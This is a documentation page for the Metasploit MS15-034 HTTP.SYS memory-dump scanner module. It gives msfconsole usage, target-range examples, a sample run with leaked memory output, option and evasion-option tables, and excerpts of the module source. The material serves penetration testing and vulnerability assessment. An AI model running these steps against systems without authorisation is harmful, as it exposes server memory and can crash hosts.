MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/ms15_034_http_sys_memory_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure
Module: auxiliary/scanner/http/ms15_034_http_sys_memory_dump
Source code: modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-1635

This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2. Note that if the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf auxiliary(ms15_034_http_sys_memory_dump) > show options
    ... show and set options ...
msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS ip-range
msf auxiliary(ms15_034_http_sys_memory_dump) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2.

Note: If the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well.

Verification Steps


  1. Do: use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
  2. Do: set RHOSTS [IP]
  3. Do: set RPORT [PORT]
  4. Do: run

Scenarios


msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125
RHOSTS => 10.1.1.125
msf auxiliary(ms15_034_http_sys_memory_dump) > set RPORT 80
RPORT => 80
msf auxiliary(ms15_034_http_sys_memory_dump) > exploit

[+] Target is vulnerable!
[+] Content length is 10240 bytes
[+] Stand by...
[+] Memory contents:
[*] 4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
[*] 0a43 6f6e 7465 6e74 2d54 7970 653a 2074    .Content-Type: t
[*] 6578 742f 6874 6d6c 0d0a 4c61 7374 2d4d    ext/html..Last-M
[*] 6f64 6966 6965 643a 204d 6f6e 2c20 3232    odified: Mon, 20
[*] 204a 756e 2032 3031 3520 3134 3a32 313a     Mar 2017 21:27:
[*] 3535 2047 4d54 0d0a 4163 6365 7074 2d52    55 GMT..Accept-R
[*] 616e 6765 733a 2062 7974 6573 0d0a 4554    anges: bytes..ET
[*] 6167 3a20 2261 3563 6663 3863 6166 3661    ag: "a5cfc8caf6a
[*] 6364 3031 3a30 220d 0a53 6572 7665 723a    cd01:0"..Server:
[*] 204d 6963 726f 736f 6674 2d49 4953 2f38     Microsoft-IIS/8
[*] 2e35 0d0a 582d 506f 7765 7265 642d 4279    .5..X-Powered-By
[*] 3a20 4153 502e 4e45 540d 0a00 0000 0000    : ASP.NET.......
[*] 0000 0202 4672 6167 0000 0000 0000 0000    ....Frag........
[*] c028 0000 0000 0000 0000 0000 0000 0000    .(..............
[*] 0200 0a00 4672 6565 0000 0000 0000 0000    ....Free........
[*] d01e f6c5 02f8 ffff 40a2 6502 00e0 ffff    [email protected].....
[*] 0a00 0d02 4d64 6c20 0000 0000 0000 0000    ....Mdl ........
[*] 1000 6702 00e0 ffff 3800 0c00 0000 0000    ..g.....8.......
[*] 0000 0000 0000 0000 ba9a e501 00e0 ffff    ................
[*] 0090 e501 00e0 ffff 5c00 0000 ba0a 0000    ........\.......
[*] 59a8 1300 0000 0000 0000 0000 0000 0000    Y...............
[*] 0000 0000 0000 0000 0000 0000 0000 e0dc    ................
[*] 0d00 0d02 4d64 6c20 0000 0000 0000 0000    ....Mdl ........
[*] 9079 2602 00e0 ffff 3800 1c00 0000 0000    .y&.....8.......
...
...
...
[*] 6079 0702 00e0 ffff 0000 0000 0000 0000    `y..............
[*] 0e00 1902 5669 4d6d 0000 0000 0000 0000    ....ViMm........
[*] Suppressed 346 uninteresting lines
[*] Memory dump saved to /home/rw/.msf4/loot/20150622073911_default_10.1.1.125_iis.ms15034_145400.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ms15_034_http_sys_memory_dump) > 

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/ms15_034_http_sys_memory_dump auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump

msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > show info

       Name: MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure
     Module: auxiliary/scanner/http/ms15_034_http_sys_memory_dump
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Rich Whitcroft <[email protected]>
  sinn3r <[email protected]>
  Sunny Neo <[email protected]>

Check supported:
  Yes

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             80               yes       The target port (TCP)
  SSL               false            no        Negotiate SSL/TLS for outgoing connections
  SUPPRESS_REQUEST  true             yes       Suppress output of the requested resource
  TARGETURI         /                no        URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)
  THREADS           1                yes       The number of concurrent threads (max one per host)
  VHOST                              no        HTTP server virtual host

Description:
  This module dumps memory contents using a crafted Range header and 
  affects only Windows 8.1, Server 2012, and Server 2012R2. Note that 
  if the target is running in VMware Workstation, this module has a 
  high likelihood of resulting in BSOD; however, VMware ESX and 
  non-virtualized hosts seem stable. Using a larger target file should 
  result in more memory being dumped, and SSL seems to produce more 
  data as well.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-1635
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2015/MS15-034
  http://pastebin.com/ypURDPc4
  https://github.com/rapid7/metasploit-framework/pull/5150
  https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection
  http://www.securitysift.com/an-analysis-of-ms15-034/
  http://securitysift.com/an-analysis-of-ms15-034/

Module Options


This is a complete list of options available in the scanner/http/ms15_034_http_sys_memory_dump auxiliary module:

msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > show options

Module options (auxiliary/scanner/http/ms15_034_http_sys_memory_dump):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             80               yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   SUPPRESS_REQUEST  true             yes       Suppress output of the requested resource
   TARGETURI         /                no        URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)
   THREADS           1                yes       The number of concurrent threads (max one per host)
   VHOST                              no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/ms15_034_http_sys_memory_dump auxiliary module:

msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > show advanced

Module advanced options (auxiliary/scanner/http/ms15_034_http_sys_memory_dump):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/ms15_034_http_sys_memory_dump module can do:

msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/ms15_034_http_sys_memory_dump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Memory dump start position not found, dumping all data instead


Here is a relevant code snippet related to the "Memory dump start position not found, dumping all data instead" error message:

108:	    if datastore['SUPPRESS_REQUEST']
109:	      dump_start = data.index('HTTP/1.1 200 OK')
110:	      if dump_start
111:	        data[0..dump_start-1] = ''
112:	      else
113:	        print_error("Memory dump start position not found, dumping all data instead")
114:	      end
115:	    end
116:	
117:	    print_line
118:	    print_good("Memory contents:")

Connection timed out


Here is a relevant code snippet related to the "Connection timed out" error message:

129:	      file_size = -1
130:	      uri = normalize_uri(target_uri.path)
131:	      res = send_request_raw('uri' => uri)
132:	
133:	      unless res
134:	        vprint_error("Connection timed out")
135:	        return file_size
136:	      end
137:	
138:	      if res.code == 404
139:	        vprint_error("You got a 404. URI must be a valid resource.")

You got a 404. URI must be a valid resource.


Here is a relevant code snippet related to the "You got a 404. URI must be a valid resource." error message:

134:	        vprint_error("Connection timed out")
135:	        return file_size
136:	      end
137:	
138:	      if res.code == 404
139:	        vprint_error("You got a 404. URI must be a valid resource.")
140:	        return file_size
141:	      end
142:	
143:	      file_size = res.headers['Content-Length'].to_i
144:	      vprint_status("File length: #{file_size} bytes")

Target is not vulnerable


Here is a relevant code snippet related to the "Target is not vulnerable" error message:

161:	  end
162:	
163:	  def run_host(ip)
164:	    begin
165:	      if check_host(ip) == Exploit::CheckCode::Safe
166:	        print_error("Target is not vulnerable")
167:	        return
168:	      else
169:	        print_good("Target may be vulnerable...")
170:	      end
171:	

Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)


Here is a relevant code snippet related to the "Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)" error message:

201:	      if resp
202:	        dump(resp.to_s)
203:	        loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
204:	        print_good("Memory dump saved to #{loot_path}")
205:	      else
206:	        print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
207:	      end
208:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
209:	      print_error("Unable to connect")
210:	      return
211:	    rescue ::Timeout::Error, ::Errno::EPIPE

Unable to connect


Here is a relevant code snippet related to the "Unable to connect" error message:

204:	        print_good("Memory dump saved to #{loot_path}")
205:	      else
206:	        print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
207:	      end
208:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
209:	      print_error("Unable to connect")
210:	      return
211:	    rescue ::Timeout::Error, ::Errno::EPIPE
212:	      print_error("Timeout receiving from socket")
213:	      return
214:	    ensure

Timeout receiving from socket


Here is a relevant code snippet related to the "Timeout receiving from socket" error message:

207:	      end
208:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
209:	      print_error("Unable to connect")
210:	      return
211:	    rescue ::Timeout::Error, ::Errno::EPIPE
212:	      print_error("Timeout receiving from socket")
213:	      return
214:	    ensure
215:	      cli.close if cli
216:	    end
217:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Rich Whitcroft <rwhitcroft[at]gmail.com>
  • sinn3r
  • Sunny Neo <sunny.neo[at]centurioninfosec.sg>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.